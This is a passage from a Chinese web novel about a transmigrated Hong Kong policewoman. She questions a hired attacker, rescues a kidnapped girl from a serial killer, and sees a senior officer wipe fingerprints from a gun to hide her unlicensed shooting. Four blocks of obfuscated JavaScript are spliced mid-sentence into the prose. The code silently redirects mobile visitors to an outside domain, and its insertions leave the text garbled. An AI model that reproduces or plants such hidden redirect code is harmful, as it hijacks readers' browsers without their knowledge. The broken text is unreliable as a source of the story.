“我也去。”郭庭伟从椅子靠背上拿起了外套，在这个精英派丛生的地方，他觉得自己的话没什么人会听，所以早早就寻了个地方坐下了。“到时候如果打起来，我可以帮你们争取一些时间。” 谭仪雯走进审讯室的时候，吴文同正看着桌子，不知道在想着什么。 听到声音之后，他抬起了头，看到了谭仪雯，眼中闪过一丝异样，不过没一会就消散了。 而当郭庭伟走进来的时候，吴文同的眼神瞬间变了，他记得郭庭伟，他进监狱之前，在社团里的时候，就是这个后生仔敢冲在前面，看上去像是全身心地扑在社团上，晋升快得很。 不过后来说郭庭伟被人怀疑是不是卧底，结果最后不知道怎么，被怀疑是卧底的人反倒是吴文同自己了，本来老大都想要将他出之而后快了，结果他直接被送进监狱呆了好多年。 本来在监狱里，他对郭庭伟的身份就有所怀疑，毕竟这一切都太巧合了，但始终没有定论，只能靠猜测觉得郭庭伟有七成可能是卧底，现在看他从审讯室门外进来，一屁股坐在了对面，吴文同彻底能确认了。 那个地方，是刚刚三轮审讯中警察们坐的地方，而现在郭庭伟也坐在那里。 从头到尾，卧底是郭庭伟，害得他进监狱的人也是郭庭伟。 “现在混上差佬当了吭？”吴文同显得有些阴阳怪气。 郭庭伟没回答，不管有没有愧，他都不应该做出回答。 “你还认得我吗？”谭仪雯没理会吴文同对郭庭伟的攻击。卧底嘛，多少都有些人情债的，没有情债已经很好了，毕竟那么鱼龙混杂的地方，每天都需要表演，她都怀疑那些卧底到最后还知不知道自己演的都是什么了。 听到谭仪雯说话，吴文同才把愤恨的眼神分给她一点。 “知道啊，谭仪雯嘛。” 吴文同在面对郭庭伟的时候，整个身体都被愤怒充斥着，但是在面对坐在郭庭伟身边的谭仪雯时，神态却放松了许多，没有太多多余的感情，不太熟似的。 又或许不是不太熟，而是完全没有私人感情，谭仪雯只是他拿钱办事的一个任务，不过这次没有成功罢了。 “你好贵的。”吴文同补充道，反正已经被抓到了，一直咬死不放也不是什么好主意，倒不如透露一些，剩下的…… 呵，就看这群差佬有没有本事了，差不差得到看他们自己。 谭仪雯眼睛微微眯起，看来自己的方向是差不多的，有人买她的命。 “谁买？” “这我就不知道了，黑市上这种都是匿名的，只要拿到钱就行了，我们可不管到底是谁想让我赚这个钱。” 其实吴文同也不知道出钱的人到底姓甚名谁，他只知道出钱的人肯定不是白道的，剩下的就不太清楚了。 郭庭伟的脑袋里一下子跳出来好几个名字，但是有觉得好像有一部分人现在应该已经在监狱里了，剩下的几个在不在监狱里得等审讯之后去查一下。 “五筒，你别对我身边的人下手。” 吴文同鄙夷地看了一眼郭庭伟。 “少自作多情了。”说完还对他翻了个白眼。“你是差佬放进社团里的针，自然会有恨你的人买你的命。” 郭庭伟刚想用自己警察的身份压一下吴文同，甚至还说出了他之前的绰号，想用这种方式软化吴文同的心理防线，但是吴文同根本不吃他这一套。 “你之前不知道我是卧底？” “猜到了，但是今天才彻底知道。”吴文同双手环胸，头侧向一边，不再看郭庭伟，但是不知道又想到了什么，冷哼了一声，随后又低声咒骂了一句，不过骂的是什么谭仪雯没听清。 “那是谁跟你买她的命？” 郭庭伟这几个小时里一直觉得吴文同是因为自己才会盯上谭仪雯，尤其是随着审讯时间一点点流逝，他就越来越坚定这种想法，甚至不知道如何跟谭仪雯解释。 但是最后吴文同却说自己袭击谭仪雯是因为有人花钱买了谭仪雯的命，而不是因为吴文同对他私人的仇恨。 郭庭伟都不知道要什么心情了，先是松了一口气，然后又揪心起来——他感觉谭仪雯的社交圈非常简单，生活方式也很干净，所以到底是谁会想花钱买命呢？ 现在又不是十年前，买命已经非常少见了。 “都说了不知道。”吴文同在面对别人的时候，最多就是用无视来表示抵抗，之前在监狱里的时候狱警对他们可算不上好，所以在面对警察的时候，他心里还是有些敬畏的。 但郭庭伟不一样，所以吴文同在抵抗的时候，会加上一些言语。 “另外几个人的照片你也看到了吧？黑市上没见过她们的悬赏？”谭仪雯还来不及想别的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003113|161858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，只觉得之前郭庭伟提议的证人保护可以派上用场了，现在她更急着找罗秀灵。 “都说了没见过了，要不要一遍又一遍地问啊madam，阿sir？” “五筒，你看着她，她只是一个很普通的警察，把你知道的全都说出来，说不定可以轻判。”郭庭伟又叫了一次五筒，现在他不管这件事是否因他而起，他只想知道五筒还知道什么。 谭仪雯不过是一个普通的女警，怎么会有人想要针对性地对她下杀手呢？世界有很多人比她更有理由上黑市。 吴文同只是抬头瞥了谭仪雯一眼，随后又恢复了原来的姿势，好几分钟之后才说出一句。 “你问问你亲戚就知道了。” 之前吴文同也只是远远看着谭仪雯，勒住她的时候也看不到她的脸，所以心里压力没有那么大。但现在光线充足，谭仪雯的脸就那么明明白白地出现在他面前，那条勒痕也无比清晰，他的心里不可能没有一点波动。 “还有呢？”见吴文同又吐出来了点信息，郭庭伟立刻追问。 “黑市的老板也不是什么都告诉我的。”吴文同这回真是知道的都说了，这消息还是他多嘴问一句才知道的，这种事情老板也不会过多透露，不然就会暴露自己。 那些老板就是不想暴露自己才去黑市买命的。 谭仪雯听到吴文同之后倏然沉默。 她的亲戚……她本来就是穿越过来的，到现在为止，确切知道名字和亲属关系的也只有一个人——她老豆谭耀樟。 除了他，别的人，她都无从问起。 难道说那位老板是因为谭耀樟所以才对她动手？可是那位老板跟谭耀樟会有什么仇恨呢？恨到就算没办法去加拿大杀了谭耀樟也要找人杀了她谭仪雯来解气？ 思绪像是乱掉的线团，谭仪雯不知道要从哪里开始整理。 难道是…… 谭仪雯突然想到了谭耀樟名字上的圈，虽然没有凶手字样，但是那个圆圈肯定也有特殊的意义。 现在的主要任务是找到罗秀灵，在十二个小时内找到她，或者找到她的遗体之后，谭仪雯就打算主动打一个跨洋电话给谭耀樟，问问他到底在香江做过什么事情，又因为什么现在独自一人生活在加拿大没想过回到香江。 虽然没有问到罗秀灵的下落，不过从吴文同的嘴里挖到了有人想买队里女警的命也算是有所进展，只是这个结论让整个西九龙特别行动处都忧心忡忡——谭仪雯真的需要一个证人保护组的成员来保护！ 时间一分一秒地流逝，深夜时分，预计中的十二个小时走到了尽头。 所有还在工作的人都明白罗秀灵理论上已经不在人世了，但是还都卯着一股劲。 万一呢？万一还有那么一点点的生还可能呢？ 在一个通宵之后，清晨，有人发现了罗秀灵。她在西贡的海面上飘着，人没有抢救的必要了，这次针对罗秀灵的毫无头绪的援救计划至此宣告失败。 不过并不是全无收获。 因为罗秀灵也做了跟谭仪雯一样的事情。 她的指甲缝隙里，也有一些人体组织，真正的凶手，随着罗秀灵一起被发现了。 15. 血色花 七 尸检工作用最快的速度进行着，与此同时，指甲缝隙里的人体组织也被送去鉴证科进行化验，就等着结果出现。 吴文同一直被关押着。 他是被北区的重案组抓到的，所以理应归北区管理，但是北区为了女警连环杀人魔的事情晕头转向，确定他与此案没有太大关系之后，自然就抓大放小，没有把工作的重心放在他身上，只是将他关起来而已。 正在整个香江警界都等着化验和尸检的结果时，一个意想不到的人走进了警局，说自己身为警察的女儿昨天晚上没有回家，十分反常。 如果放在平时，一个女孩没有回家或许有多种原因，可能是去了朋友家，也可能是因为某个案件需要一直工作，但是现在女警杀人魔还没有被抓到，别说香江警界都知道，就连普通民众之间都开始流传起来。 一个两个草木皆兵，生怕杀人魔识人不清，把自己家里不当警察的亲属当作警察绑走杀掉。 这对警方来说是一次非常大的考验，毕竟这次的受害者都是警察，如果事情继续发酵，一个月后……都用不了一个月的时间，就会有“警察连自己都保护不好，无法相信警察可以保护好香江市民”的传言了。 为了获取一手信息，西九龙特别行动处的人又集体转移回了西九龙，去见这次的报案人。 可等真的见到了报案人的脸，所有人都傻了眼。 “骆sir！？” 西九龙特别行动处建立的时间不长，就连一起行动的五个人对彼此的了解都不够深入，只能说个大概，更别提坐镇办公室的骆宝成了，之前下班后的happyhour都没带上骆sir，所以对他的了解是最少的。 骆宝成见来的人是自己手下的人，悬着的心放下了一点。 别的部门他不清楚，但是西九龙特别行动处里的人，肯定是会全力以赴的，这五个人都不是吃干饭的，不管是什么才，至少都是有本事的人，而且什么人都有，从高材生到卧底，从飞虎队到警声，互相配合取长补短，事半功倍。 “骆sir，别着急，你先说一下最后的情况。”黄馥妮坐在了骆宝成的对面，她之前在警声做过，所以在说话这方面比别人强一些，所以理所当然地承担起了详细询问的工作。 不过她嘴上说着别着急，心里却急得很。 第一个死者黄茵从被绑架到死亡大概是五天，欧蕙珊是四天，刚刚发现的罗秀灵是三天，到骆sir的女儿这里就只剩下两天了，况且时间已经过去了一个晚上，所以真正留给他们的时间并不多，也就只有一天半而已。 别的地方黄馥妮不清楚，但是西九龙，或者说整个九龙地区的情况都非常复杂，在没有线索的情况下找到一个小女孩简直是难上加难。 但是没有人愿意让罗秀灵的事情重新上演，就只能沉下来一口气，准备再次奋力一搏。 化验需要时间，等结果出来的时候，时间已经到了下午十分。 “结果出来了，有可匹配的数据！” 这个消息传到各个分区的重案组时，每个人都热血沸腾，仿佛猎物已经进了网，现在只需要慢慢围剿了似的，不过现在只是知道有数据，还不清楚到底是谁。 “是一个刚出狱的人员，叫……阿Tom。” 又是代号，这会甚至连真名都没了，不过世纪之交那几年，统计身份完善程度也不高，有时候一个人有好几个名字，还有一些是平时用一个名字，身份证件上是另一个名字，什么情况都有，现在也不是计较这个的时候。 只是谭仪雯必须要在意，毕竟她也不确定代号能不能显示出凶手的字样。 在搜索出阿Tom的住址之前的一小段空档里，谭仪雯蹭到了一张桌子前，借了重案组的一支笔，在纸上写下了阿Tom。 或许是因为阿Tom罪大恶极，凶杀的指数太高了，所以最后一个字母抬笔之后圆圈和“凶手”字样就迫不及待地跳了出来。 很好。 这回就算阿Tom不是女警杀人魔，也至少是手上有人命的，所以抓他是完全不亏的。 阿Tom的住址很快就被找到了，跟五筒一样，他也曾经蹲过班房，但是出狱的时间又久，所以没有刚出狱时候盯得那么紧了，或许就是因为这个，他才有时间连续杀害好几个人。 在开车前往他住所的这段路上，特别行动处的几个人没有一个开口说话的。 他们甚至懒得问为什么这个阿Tom会成为连环凶杀女警的犯人，正常人都做不出来这种事来，不管怎么解释，他们五个人都不会理解的，毕竟他们不变态。 老薛从一早上开始就在开车，这次郭庭伟便主动请缨，代替薛凯杰坐在了驾驶位上。 谭仪雯还是第一次跟薛凯杰肩并肩坐着，平时的他一直都是一副气定神闲的好人形象，但是今天却一反常态，看起来愁云满面。 “现在时间还很早，距离deadline还有很长一段时间呢，骆sir的女儿肯定会平安无事的。” 现在四个区域的警察都被调动起来了，除了少数案件还留有一些人手之外，剩下的人几乎都投入了女警杀人魔的案件中，想要立刻阻止阿Tom继续伤害他们的同事，难道把香江翻个底朝天还会找不到骆sir的女儿吗？ 薛凯杰扯了扯嘴角，显然是没有把谭仪雯的话听进去的，手还时不时摸向枪套。 “我们都相信你，你之前在飞虎队，肯定百发百中的。” 话音刚落，谭仪雯就看见老薛的腮帮处鼓起来一块，好半天才消下去，随后继续沉默着。 谭仪雯也不自讨没趣了，总感觉薛凯杰有完全无法言说的困苦，但又不好在他们面前说出口。 算了，有什么事情，以后再说吧，现在的当务之急是寻找骆亦欣。 每辆车都被分配到了一个区域，面积不大，互相连接，展开了地毯式搜索。 阿Tom不是一个会带着危险物品到地铁里引爆的人，但是他的存在切切实实地挑战着警队的威严和自尊。 从五天，到二十四小时，是明晃晃的挑衅。 这次再不抓到阿Tom，下一个人就只有二十四小时了。 再下一个更不知道会是多久。 他们不能让阿Tom继续为所欲为，也不能让香江警队的招牌被打碎，更不能再有女警在这件事情上无谓的死亡。 一队人直接去了阿Tom的家，剩下的人都被安排到了西九龙的各个地方进行排查，西九龙特别行动处被分到的区域是一个小山坡，不过地形比较崎岖，所以在商议之下，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003114|161858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是分头行动了。 谭仪雯和老薛被分到了一组，郭庭伟跟黄馥妮一组，至于余子敬，他跟骆sir一组。 平时骆sir是绝对不会出外勤的，但是因为这件事跟他的女儿有关系，所以也来参与这场地毯式搜索了。 最后一个见到骆亦欣的人是在昨天下午看到她的，那是警校放学的时候，本来回家就要有些时间花在路上，再加上骆sir是第二天早上保安，又花了一些时间等待DNA的化验结果和查询阿Tom的住所，留给警队的时间不多了。 但或许是因为谭仪雯穿到了小说的主角团身上，所以总是有些幸运加成的，只不过搜了两个小时，她就听见了一些细微的声响。 拨开树枝，谭仪雯从树叶的缝隙里看到了一个拿着铁锹的男人正在山坡下面的沙土地上挖坑。 本来挖沙没什么奇怪的，但是这个人挖的坑也太大了些。 这么大的坑，如果不是埋数额巨大的宝藏，就很有可能是要埋人。 见谭仪雯趴在一个地方不动，薛凯杰也知道了个大概——肯定是发现了什么，所以也立刻伏低了身子，轻手轻脚地走到了谭仪雯身边。 “发现什么了？” “不觉得很奇怪吗？”谭仪雯给薛凯杰让出了点位置，让老薛也能在最佳角度看到那个一直在挖坑的人。“正常人，谁会挖这么大的坑？” 反正肯定不是埋葬宠物。 如果他们早十分钟看到这个坑，还会考虑一下这到底是不是哪个刚刚失去了自己宠物的人找了一块背山面水的好地方埋葬宠物，但是现在这个深度……适合被放进去的只有人。 那个挖坑的人此时才终于停下了手中的活，站在坑里用铁锹当拐杖靠着休息了好一会，眼睛还在四周扫视着。 谭仪雯立刻将拨开的树枝放回原处，挡住了本就隐藏在树影之后的她和老薛。放下树枝之后，虽然视线多有遮挡，想要从缝隙里看到那个挖坑的男人还是很简单的。 她眯着眼睛看了好半天，确定了那个男人与系统里搜出来的人有七八分像之后，才通知去其他区域搜寻的另外几个人，还特地叮嘱了他们千万不要去沙滩，免得被发现。 刚刚发完短信，那个男人就从挖好的深坑里跳了出来，不知道从哪里拖出来一只行李箱，随后又把拽着脚踝，把一个被绑得死死的女生拖了出来，那女孩在被拽着脚踝的时候还在拼命挣扎，沙土地上多出了一道蜿蜒的痕迹。 距离太远，谭仪雯也不能确定这个人到底是谁，不过八成就是骆亦欣了。 所以刚刚骆亦欣就那么被绑着躺在一边看着这个大坑一点一点被挖好吧？光是想想，就知道骆亦欣有多绝望了。 挖坑的男人把行李箱拉开，随后又将骆亦欣粗暴地塞进了行李箱，纵使骆亦欣挣扎也无济于事，拉上拉链之后，挖坑男用脚一蹬，行李箱就掉进坑里，至于行李箱里面的人，肯定是天翻地覆，摔得不知道哪边是上，哪边是下了。 随后，沙土又被一锹一锹地填了回去。 老薛也从腰间枪套里掏出了枪，可却迟迟没有开枪。 坑边的沙堆一点点变小，在这么下去，骆亦欣会因为异常体位窒息而死的，不能再等了。 “老薛，如果你下不去手，那就由我来。” 16. 血色花 八 在香江警队的规定中，大多数人都可以获得持枪资格，只是每年都要重新考核以便确定持枪人可以继续保有持枪资格，但这个“大多数人”中，不包括谭仪雯。 不是她在穿越过来之后没有开过枪所以才不配枪，而是穿越来之前的那个谭仪雯就没考过持枪资格。 理论上，谭仪雯是绝对不能摸枪的，但是随着被堆在一边的沙土一点点减少，老薛一直没有扣动扳机的意思，谭仪雯便说了这么一个逾矩的话。 不符合规定，但是现在这个情况下，什么规矩都是次要的，重要的是不能眼睁睁看着骆亦欣被憋死。 老薛听到谭仪雯的话也急了。 他是飞虎队出身，从飞虎队退下来才来的特别行动处，谭仪雯是他们所有人里年纪最小的，现在他却需要谭仪雯催促…… 可是越心急，手就越抖。 他的手指，怎么也无法搭在扳机上，一些过往的画面一遍又一遍地出现在他的脑海里。有些犯人死不足惜他明白，但是真的开枪又是另一种心情。 “老薛！” 谭仪雯把声音从嗓子里挤出来，按照现在的速度，再等约摸一分钟，埋人的大坑就要填平了！ 薛凯杰看向谭仪雯。 谭仪雯从老薛的眼睛里看到了一丝求助。或许他不能说出口，毕竟没有前飞虎队成员向一个没有持枪资格的人求助开枪的先例，这样的话老薛也开不了口，可他真的没办法扣下扳机。 “我来。” 现在周围一个人都没有，就算谭仪雯这一枪没有打到任何人，只是把子弹埋进沙子里，也不会有人受伤。 过去打仗的时候，两层沙袋都能防住子弹的攻击，那个被塞了个人进去的行李箱肯定在一米以下了，哪怕是谭仪雯朝着骆亦欣身处的方位来上一枪，也绝对不会打到她。 刚刚还在催促薛凯杰的谭仪雯在拿到枪之后也感觉到了枪之外的那份沉重。 ‘没关系，你没考过持枪证，打不准的，朝着差不多的方向开一枪，把凶手吓跑也算是成功了。’ 她不断安慰着自己，最后深吸了一口气，再睁眼的时候就看到阿Tom已经把坑填平了，甚至还上去踩了两脚。 手指勾上扳机，往后一拉。 一枚子弹从枪口飞出，没有人能看清子弹的轨迹，但阿Tom应声倒地。 别说原本的谭仪雯没有考过持枪证，穿越过来的谭仪雯更是连枪都没摸过。本来还安慰自己打空是正常的，起到震慑作用也是好的，却没成想直接打中了阿Tom。 超出预期。 在谭仪雯短暂愣神的片刻，薛凯杰将枪收回了枪套，还顺手拍了拍谭仪雯的肩膀，叫她快点回过神来。 反应过来的谭仪雯跟着薛凯杰从山坡上一路跑到了已经躺在沙滩上倒地不起的人身边。 薛凯杰掰过那人的脸，现在更加确定这个人就是阿Tom了，谭仪雯的那一枪正好打在了阿Tom的肩膀上，估摸着肩胛骨是肯定要碎了的。 过一会先送医院吧…… 此时，接到通知的其他几个人也赶到了现场。 余子敬直接拔枪，想要挣扎着起来的阿Tom见到又来了人，自己没有逃跑的机会便也不在挣扎了，只躺在地上捂着伤口直哼哼。 郭庭伟在确定了躺在地上的人是阿Tom之后，便“好心”地上前帮他捂住肩膀处的伤口，不过也不是那么好心，因为他捂住伤口可不是为了帮阿Tom止血，就是纯按。 表面上最关心凶手的人在出手了之后，被“关心”的阿Tom本人疼得更厉害了，从哼哼变成了时不时地惨叫。 “庭仔，快来帮忙。” 薛凯杰在不涉及开枪的时候，还是十分训练有素的，所以在识破了郭庭伟的心思，并让阿Tom受了苦头之后，就立刻催促着郭庭伟赶紧救人，负责控制阿Tom的有余子敬一个就足够了，而且现在骆sir也一路小跑的过来，更加用不上他。 郭庭伟也停止了“虐待”阿Tom的行为，四下看看，最后发现只有刚刚挖坑的铁锹算是趁手的工具。 本来他是不应该碰那个被阿Tom拿过的铁锹的，但是现在也顾不上物证不物证的了，再等下去，沙土之下的骆亦欣说不定都憋死了。 再者说，他之前也不是什么学院派乖乖仔，出格的事情他在当卧底的时候也做过不少，私自触碰物证只要回去写个报告就可以了，所有人都能为他证明他不过是情急之下才拿起铁锹把骆亦欣挖出来的。 随着郭庭伟一铲一铲把沙土挖开，被塞进行李箱里的骆亦欣的发出了声音拼命求救，可是无奈她被阿Tom强行塞进行李箱，身子本就佝偻，又饿了一天什么都没吃，所以声音微弱得很。 听到骆亦欣小小的声音，谭仪雯更着急了。 这是要不行了？ 一开始阿Tom挖的坑不小，几乎可以放下一个完整的棺材，但是为了救人，郭庭伟只挖了很小一个范围，看到行李箱之后甚至还直接跳下坑里，站在坑里把行李箱刨了出来。 如果只是一只装满东西的行李箱的话，其实也不过四十几磅，郭庭伟常年锻炼，肯定能举起来搬到平地上，但是这会行李箱里面装的是一个人，他只是将行李箱抬起来，之后就有点抬不上去了。 谭仪雯和黄馥妮一人搭了一把手，郭庭伟在下面托举，这才把装着骆亦欣的行李箱拉了上来。 刚把箱子拉上来，谭仪雯就手忙脚乱地把行李箱地拉链拉开，掀开软皮的盖子之后，蜷缩在里面的骆亦欣才重见天日。 或许是因为实在太害怕，又或许是因为喘不上来气，现在骆亦欣的脸都被憋红了，黄馥妮马上拽着她的胳膊，让她坐起身，不要再蜷缩着困在行李箱里才是重中之重。 又过了十几分钟，其他在附近搜寻的分队才赶来。 毕竟在开枪走之前就收到消息的特别行动处都要几分钟才能赶过来，那些在其他区域搜索的人听到枪声之后才出发朝着枪声的方向奔袭，自然是要晚一些的。 阿Tom被直接送到了医院，肩胛骨都打碎了，不送医院也不行。至于骆亦欣，她也被送往了医院进行全身检查，确定没有大碍之后，还要接受一定程度的心理治疗，骆sir跟在身边。 “你们几个，开车去西九龙重案组吧，要问一些问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005145|161858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作为补充。” 西九龙在重案组的督察们也对余子敬为首的西九龙特别行动处非常满意，等阿Tom做完手术，从他们这里的结案信息就有用了。 黄馥妮在这次行动中其实没有帮上什么忙，只是帮着谭仪雯拉了一下箱子，在询问过后，她就去医院陪骆亦欣和骆sir去了。 剩下的四个人坐上了一辆车，朝着西九龙重案组所在的方向驶去。 现在四个人各有各的心思，所以车里出现了诡异的宁静。 谭仪雯违反规定开了枪，薛凯杰飞虎出身却不敢开枪，郭庭伟看着满手的血陷入安静，余子敬想得少，但是他也疑惑为什么这群人在亲手抓到罪犯的时候如此沉寂，难道不应该高兴吗？ “老薛，你的枪法很准。”余子敬虽然平时不苟言笑，但是也不希望自己的队伍死气沉沉，所以才随便说了点什么来活跃气氛。 结果不仅老薛没有被活跃起来，就连谭仪雯也突然抬起眼睛，看着坐在副驾驶位置上的余子敬。 余子敬几乎一秒钟就感觉到了气氛的变化。 他先看看紧紧握着方向盘到指节青白的老薛，然后透过挂着挂坠的车内倒视镜看向了坐在后排的谭仪雯。 谭仪雯没想到余子敬居然这么快就开始观察她，还没来得及开始隐藏就被余子敬发现了，马上低下头去，不再抬头。 此时与谭仪雯一起坐在后排的郭庭伟也感觉到了不对劲，刚刚他太过沉浸在自己的世界，所以反应慢了半拍。 “到底发生了什么事？”余子敬抬起手腕，看了看手表上的时间。“你们还有四分钟可以把事情重复一遍。” 他的语气少见地温和，甚至听起来像是劝诱。 余子敬知道在他们到达之前，肯定有什么事情发生，但是现在还不能确定是什么。一会到重案组，如果两个人说的话不一样，后面牵扯出来的事情就不知道有多少了。 所以在车开到重案组之前，他们最好把整个事情从头到尾地讲一遍才好，不管发生了什么，总要提前说明一下，免得他这个同组的人被蒙在鼓里。 “其实是我……”薛凯杰深深叹了一口气，好像是下了很大的决心似的，油门也松开了不少，车子明显缓了很多。“我不敢开枪，所以是得意开的枪。” 余子敬觉得不明所以——所以呢？谭仪雯开的枪，所以呢？ “我没持枪资格……” 也就是说，如果这件事被多问两句，再被人狠狠抓着不放的话，那谭仪雯很有可能会面临离开特别行动处，甚至是离开警队的处罚。 这件事说小是小，可以在文件上模糊过去。但说大也是大，被记录成抢夺警用配枪也是可以的。 此时此刻，老薛很心虚，同样的，谭仪雯也很心虚。 余子敬怎么看都是特别行动处里最一板一眼的人，如果他不想通融，偏要公事公办，那…… 之后的几分钟，不管薛凯杰说什么情况紧急之类的话，余子敬都一言不发了。 最后，车子停在了西九龙重案组所在的建筑的楼下。 而谭仪雯未来的职业道路，全在余子敬的一念之间。 17. 血色花 九 余子敬什么都没说，最先打开车门，走进大楼，谭仪雯觉得也不能一直坐在车里等着，也打开了车门，随后是老薛和郭庭伟。 如果余子敬帮忙，或许他们可以一起模糊掉事情的真相，但是因为余子敬什么都不说，所以谭仪雯和薛凯杰在分开讲述的时候，不约而同地选择了实话实说。 重案组的督察们和余子敬无异，在听谭仪雯讲述过程的时候也沉默着，一开始还会记录一下，后半段直接就放下笔，不再记了。 等谭仪雯出来的时候，郭庭伟已经洗干净了手，跟老薛一起坐在外面等她了。 “问完了？” “嗯。” 没有什么营养的对话刚结束，就走进了审讯室。那扇隔音的门在关上之后，里面的声音就完全听不见了。 谭仪雯和薛凯杰互相看了一眼，不知道该说些什么，只能又纷纷低下头去。 “sir……” 余子敬坐在了负责记录谭仪雯和薛凯杰开枪过程的督察对面，他进来之前特地叫人把监控关掉了，门又是隔音的，所以现在除了余子敬和督察之外，没有人会知道他们说什么。 这位督察也算是个老资历的，听说在用不了多久就会成为高级督察了，不管是年纪还是资历，亦或者是处理时间的经验上，都要优于余子敬。 督察拿起枪，又从西装的内侧口袋里拿出一个小方巾，卸了子弹之后在枪身上擦拭着，先是握把，然后是扳机，最后又把枪管套给擦了一遍。 “Timo，其实有些事情可以不用那么明晰的。” 警队里不明晰的事情多得很，之前结案的很多案件在办案过程中都不够规范，甚至因为现场太混乱，没有人能说出真正的过程，所以结案报告上写出来的内容都充满了魔幻色彩。 报告的大部分内容都不会公开让普通人细细研究，只要看上去能说得通顺，人也没抓错，就不算大事。 “可是报告不是应该……” 余子敬在学校的时候，每一道题都有正确答案，就算没有标准的答案，也会有大概的答题方向，如果答错是要扣分的，偏题也是一样，所以在真正成为见习督察之后，他也习惯性地想要追求那个“正确答案”。 工作怎么能不一板一眼地做呢？ 上一次的糖水铺投毒案就是如此，从最开始的调查到最后的审讯，他都一板一眼地做到了最好，当然也受到了嘉奖，这难道不能说明他做得对吗？ “按理来说，是应该那么做的，但现实不可能和预想一模一样，人都是活的，每个人在长大的过程都有不同的轨迹，把所有身上带着的不确定因素都放在一起，节外生枝的可能性就多了。” 督察已经工作了好些年了，刚开始工作的时候，他也跟余子敬的想法一样，但是随着时间的推移，他也有了自己的成长轨迹，脱离了学校带给他的定式教育，在确定的答案之外，留出了一小部分给了意外情况。 现在这个情况，就是他认为的意外情况。 “现在时间差不多了，你要是想再坐一会的话，就坐一会，我先出去送枪了。” 余子敬这才意识到原来刚刚督察擦的枪其实并不是他自己的，而是薛凯杰的，而他自己的枪一直放在他的枪套里没拿出来过。 这位教他懂得变通的前辈居然就当着他的面，把枪上的指纹擦掉了，不只是谭仪雯的指纹，还有薛凯杰的指纹，不过之后谭仪雯应该不会再碰薛凯杰的枪了，所以只要薛凯杰重新拿到自己的配枪，指纹就又粘上了。 “谭仪雯是不是？你去洗洗手，洗干净点。”甚至连留在手上的火药都记着让谭仪雯洗了。 余子敬独自一人坐在审讯室里，约莫着十分钟才从里面走出来。 此时谭仪雯已经洗好了手，看到余子敬从审讯室里走出来，脸上还带着不太好的神色之后又开始紧张起来。 “今天晚上你早点回家。”余子敬半天才说出这么一句话，看来脑袋里是经历过天人交战的，现在还不能完全说服自己。 “那我的报告什么时候交？”毕竟是她开的枪，报告还是要交的，只是不知道惩罚到底是什么罢了，可能要革职一段时间，也可能更严重些，当然还有可能只是口头警告，不过刚刚的督察已经温和地警告过她了。 “明天吧，交给我就好。”余子敬没看谭仪雯，又继续说到。“还有老薛，你的报告也交给我。” 薛凯杰点点头，看了看时间，是下班的时间了，打了个招呼，就离开了。 “明天报告交给我之后，就要去处理吴文同的事情了。”余子敬也找了个理由离开，不过没走几步，又折了回来。 谭仪雯本来以为案子已经结了，毕竟阿Tom已经被抓到，现在被送去做手术，把被打碎的骨头渣子取出来，等身体稍微恢复一下，就可以进行正式的审讯了。 结果忙了一圈，抓到了女警杀人魔，却把伤害自己的那个五筒给忘了。 当时还想着抓大放小，现在看来是真的把小的放了，只有余子敬还记得。 “ok，我没问题。” 谭仪雯回家之后，一边写报告一边想着跟吴文同有关的事情。 这两天发生的事情实在是太多了，一件连着一件，几乎没有什么时间思考别的事情，她所有的脑细胞都放在怎么抓到阿Tom上面了。 要不是余子敬提醒，再加上受伤的手指在放松下来之后抓握还会隐隐作痛，她真的没想起来吴文同到底说了什么，现在就算想起来吴文同这么个人，他说的话也要一点一点细细回忆才能回忆起来一点。 “你问问你亲戚就知道了。” 谭仪雯记得当时吴文同就是这么说的，那时候她还奇怪为什么有人在黑市上买她的命，还要提亲属，这太奇怪了。 能跟她有血缘关系的人可能不少，但是真正能算得上直系亲属、而且还能联系到的，好像也就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011842|161858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谭耀樟一个。 谭仪雯之前其实就对谭耀樟有些疑惑，不让她去O记就算了，名字外面的那个圆圈也很有问题。 